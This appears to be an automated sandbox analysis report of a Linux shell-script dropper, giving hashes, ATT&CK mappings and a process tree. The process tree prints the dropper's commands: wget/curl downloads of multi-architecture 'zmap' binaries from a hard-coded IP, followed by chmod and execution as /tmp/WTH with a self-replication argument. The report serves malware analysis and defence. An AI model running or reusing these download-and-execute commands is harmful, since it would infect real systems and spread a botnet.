4cac81ec58d0075ebacb0c43b53dd0f3e2abcd5036a34a5b110cb654203d78ad

Analysis

max time kernel
15s
max time network
18s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
03/11/2024, 02:42

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General

Target
4cac81ec58d0075ebacb0c43b53dd0f3e2abcd5036a34a5b110cb654203d78ad.sh
Size 2KB
Sample241103-c7b69askdy
SHA256 4cac81ec58d0075ebacb0c43b53dd0f3e2abcd5036a34a5b110cb654203d78ad
MD5 cd35d70f1757a91d20d729013fdff237
SHA1 0194f653a81f3aede399d9277ce59db4660e39b8
SHA512 0d7bfdfb72fada4201b3da1c8b246998264fdbf1a920165d4d312b2c1ef6c55d700f73cdd092ff9c0a10e85aa940f263648a4090a2b489a05ea6d1e5c36e0ff6
MD5 SHA1 SHA512

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 13 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
731	chmod
745	chmod
758	chmod
796	chmod
682	chmod
707	chmod
719	chmod
785	chmod
802	chmod
808	chmod
695	chmod
701	chmod
771	chmod

Executes dropped EXE 13 IoCs

ioc	pid	Process
/tmp/WTH	684	WTH
/tmp/WTH	696	WTH
/tmp/WTH	702	WTH
/tmp/WTH	708	WTH
/tmp/WTH	720	WTH
/tmp/WTH	733	WTH
/tmp/WTH	747	WTH
/tmp/WTH	760	WTH
/tmp/WTH	772	WTH
/tmp/WTH	786	WTH
/tmp/WTH	797	WTH
/tmp/WTH	803	WTH
/tmp/WTH	809	WTH

Checks CPU configuration 1 TTPs 13 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 26 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
691	curl
693	cat
687	wget

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/WTH	4cac81ec58d0075ebacb0c43b53dd0f3e2abcd5036a34a5b110cb654203d78ad.sh

/tmp/4cac81ec58d0075ebacb0c43b53dd0f3e2abcd5036a34a5b110cb654203d78ad.sh
/tmp/4cac81ec58d0075ebacb0c43b53dd0f3e2abcd5036a34a5b110cb654203d78ad.sh
1⤵
- Writes file to tmp directory
PID:658
- /usr/bin/wget
  wget http://154.216.16.38:85/zmap.x86
  2⤵
  PID:660
- /usr/bin/curl
  curl -O http://154.216.16.38:85/zmap.x86
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:671
- /bin/cat
  cat zmap.x86
  2⤵
  PID:681
- /bin/chmod
  chmod +x 4cac81ec58d0075ebacb0c43b53dd0f3e2abcd5036a34a5b110cb654203d78ad.sh systemd-private-bdbef1d16f5243c8a3f493430023252a-systemd-timedated.service-5bH1qT WTH
  2⤵
  - File and Directory Permissions Modification
  PID:682
- /tmp/WTH
  ./WTH thinkphp.selfrep
  2⤵
  - Executes dropped EXE
  PID:684
- /usr/bin/wget
  wget http://154.216.16.38:85/zmap.mips
  2⤵
  - System Network Configuration Discovery
  PID:687
- /usr/bin/curl
  curl -O http://154.216.16.38:85/zmap.mips
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:691
- /bin/cat
  cat zmap.mips
  2⤵
  - System Network Configuration Discovery
  PID:693
- /bin/chmod
  chmod +x 4cac81ec58d0075ebacb0c43b53dd0f3e2abcd5036a34a5b110cb654203d78ad.sh systemd-private-bdbef1d16f5243c8a3f493430023252a-systemd-timedated.service-5bH1qT WTH
  2⤵
  - File and Directory Permissions Modification
  PID:695
- /tmp/WTH
  ./WTH thinkphp.selfrep
  2⤵
  - Executes dropped EXE
  PID:696
- /usr/bin/wget
  wget http://154.216.16.38:85/zmap.mpsl
  2⤵
  PID:698
- /usr/bin/curl
  curl -O http://154.216.16.38:85/zmap.mpsl
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:699
- /bin/cat
  cat zmap.mpsl
  2⤵
  PID:700
- /bin/chmod
  chmod +x 4cac81ec58d0075ebacb0c43b53dd0f3e2abcd5036a34a5b110cb654203d78ad.sh systemd-private-bdbef1d16f5243c8a3f493430023252a-systemd-timedated.service-5bH1qT WTH
  2⤵
  - File and Directory Permissions Modification
  PID:701
- /tmp/WTH
  ./WTH thinkphp.selfrep
  2⤵
  - Executes dropped EXE
  PID:702
- /usr/bin/wget
  wget http://154.216.16.38:85/zmap.arm
  2⤵
  PID:704
- /usr/bin/curl
  curl -O http://154.216.16.38:85/zmap.arm
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:705
- /bin/cat
  cat zmap.arm
  2⤵
  PID:706
- /bin/chmod
  chmod +x 4cac81ec58d0075ebacb0c43b53dd0f3e2abcd5036a34a5b110cb654203d78ad.sh systemd-private-bdbef1d16f5243c8a3f493430023252a-systemd-timedated.service-5bH1qT WTH
  2⤵
  - File and Directory Permissions Modification
  PID:707
- /tmp/WTH
  ./WTH thinkphp.selfrep
  2⤵
  - Executes dropped EXE
  PID:708
- /usr/bin/wget
  wget http://154.216.16.38:85/zmap.arm5
  2⤵
  PID:710
- /usr/bin/curl
  curl -O http://154.216.16.38:85/zmap.arm5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:713
- /bin/cat
  cat zmap.arm5
  2⤵
  PID:717
- /bin/chmod
  chmod +x 4cac81ec58d0075ebacb0c43b53dd0f3e2abcd5036a34a5b110cb654203d78ad.sh systemd-private-bdbef1d16f5243c8a3f493430023252a-systemd-timedated.service-5bH1qT WTH
  2⤵
  - File and Directory Permissions Modification
  PID:719
- /tmp/WTH
  ./WTH thinkphp.selfrep
  2⤵
  - Executes dropped EXE
  PID:720
- /usr/bin/wget
  wget http://154.216.16.38:85/zmap.arm6
  2⤵
  PID:722
- /usr/bin/curl
  curl -O http://154.216.16.38:85/zmap.arm6
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:726
- /bin/cat
  cat zmap.arm6
  2⤵
  PID:730
- /bin/chmod
  chmod +x 4cac81ec58d0075ebacb0c43b53dd0f3e2abcd5036a34a5b110cb654203d78ad.sh systemd-private-bdbef1d16f5243c8a3f493430023252a-systemd-timedated.service-5bH1qT WTH
  2⤵
  - File and Directory Permissions Modification
  PID:731
- /tmp/WTH
  ./WTH thinkphp.selfrep
  2⤵
  - Executes dropped EXE
  PID:733
- /usr/bin/wget
  wget http://154.216.16.38:85/zmap.arm7
  2⤵
  PID:735
- /usr/bin/curl
  curl -O http://154.216.16.38:85/zmap.arm7
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:739
- /bin/cat
  cat zmap.arm7
  2⤵
  PID:744
- /bin/chmod
  chmod +x 4cac81ec58d0075ebacb0c43b53dd0f3e2abcd5036a34a5b110cb654203d78ad.sh systemd-private-bdbef1d16f5243c8a3f493430023252a-systemd-timedated.service-5bH1qT WTH
  2⤵
  - File and Directory Permissions Modification
  PID:745
- /tmp/WTH
  ./WTH thinkphp.selfrep
  2⤵
  - Executes dropped EXE
  PID:747
- /usr/bin/wget
  wget http://154.216.16.38:85/zmap.ppc
  2⤵
  PID:749
- /usr/bin/curl
  curl -O http://154.216.16.38:85/zmap.ppc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:752
- /bin/cat
  cat zmap.ppc
  2⤵
  PID:756
- /bin/chmod
  chmod +x 4cac81ec58d0075ebacb0c43b53dd0f3e2abcd5036a34a5b110cb654203d78ad.sh systemd-private-bdbef1d16f5243c8a3f493430023252a-systemd-timedated.service-5bH1qT WTH
  2⤵
  - File and Directory Permissions Modification
  PID:758
- /tmp/WTH
  ./WTH thinkphp.selfrep
  2⤵
  - Executes dropped EXE
  PID:760
- /usr/bin/wget
  wget http://154.216.16.38:85/zmap.m68k
  2⤵
  PID:762
- /usr/bin/curl
  curl -O http://154.216.16.38:85/zmap.m68k
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:765
- /bin/cat
  cat zmap.m68k
  2⤵
  PID:769
- /bin/chmod
  chmod +x 4cac81ec58d0075ebacb0c43b53dd0f3e2abcd5036a34a5b110cb654203d78ad.sh systemd-private-bdbef1d16f5243c8a3f493430023252a-systemd-timedated.service-5bH1qT WTH
  2⤵
  - File and Directory Permissions Modification
  PID:771
- /tmp/WTH
  ./WTH thinkphp.selfrep
  2⤵
  - Executes dropped EXE
  PID:772
- /usr/bin/wget
  wget http://154.216.16.38:85/zmap.spc
  2⤵
  PID:774
- /usr/bin/curl
  curl -O http://154.216.16.38:85/zmap.spc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:779
- /bin/cat
  cat zmap.spc
  2⤵
  PID:783
- /bin/chmod
  chmod +x 4cac81ec58d0075ebacb0c43b53dd0f3e2abcd5036a34a5b110cb654203d78ad.sh systemd-private-bdbef1d16f5243c8a3f493430023252a-systemd-timedated.service-5bH1qT WTH
  2⤵
  - File and Directory Permissions Modification
  PID:785
- /tmp/WTH
  ./WTH thinkphp.selfrep
  2⤵
  - Executes dropped EXE
  PID:786
- /usr/bin/wget
  wget http://154.216.16.38:85/zmap.i686
  2⤵
  PID:788
- /usr/bin/curl
  curl -O http://154.216.16.38:85/zmap.i686
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:792
- /bin/cat
  cat zmap.i686
  2⤵
  PID:795
- /bin/chmod
  chmod +x 4cac81ec58d0075ebacb0c43b53dd0f3e2abcd5036a34a5b110cb654203d78ad.sh systemd-private-bdbef1d16f5243c8a3f493430023252a-systemd-timedated.service-5bH1qT WTH
  2⤵
  - File and Directory Permissions Modification
  PID:796
- /tmp/WTH
  ./WTH thinkphp.selfrep
  2⤵
  - Executes dropped EXE
  PID:797
- /usr/bin/wget
  wget http://154.216.16.38:85/zmap.sh4
  2⤵
  PID:799
- /usr/bin/curl
  curl -O http://154.216.16.38:85/zmap.sh4
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:800
- /bin/cat
  cat zmap.sh4
  2⤵
  PID:801
- /bin/chmod
  chmod +x 4cac81ec58d0075ebacb0c43b53dd0f3e2abcd5036a34a5b110cb654203d78ad.sh systemd-private-bdbef1d16f5243c8a3f493430023252a-systemd-timedated.service-5bH1qT WTH
  2⤵
  - File and Directory Permissions Modification
  PID:802
- /tmp/WTH
  ./WTH thinkphp.selfrep
  2⤵
  - Executes dropped EXE
  PID:803
- /usr/bin/wget
  wget http://154.216.16.38:85/zmap.arc
  2⤵
  PID:805
- /usr/bin/curl
  curl -O http://154.216.16.38:85/zmap.arc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:806
- /bin/cat
  cat zmap.arc
  2⤵
  PID:807
- /bin/chmod
  chmod +x 4cac81ec58d0075ebacb0c43b53dd0f3e2abcd5036a34a5b110cb654203d78ad.sh systemd-private-bdbef1d16f5243c8a3f493430023252a-systemd-timedated.service-5bH1qT WTH
  2⤵
  - File and Directory Permissions Modification
  PID:808
- /tmp/WTH
  ./WTH thinkphp.selfrep
  2⤵
  - Executes dropped EXE
  PID:809

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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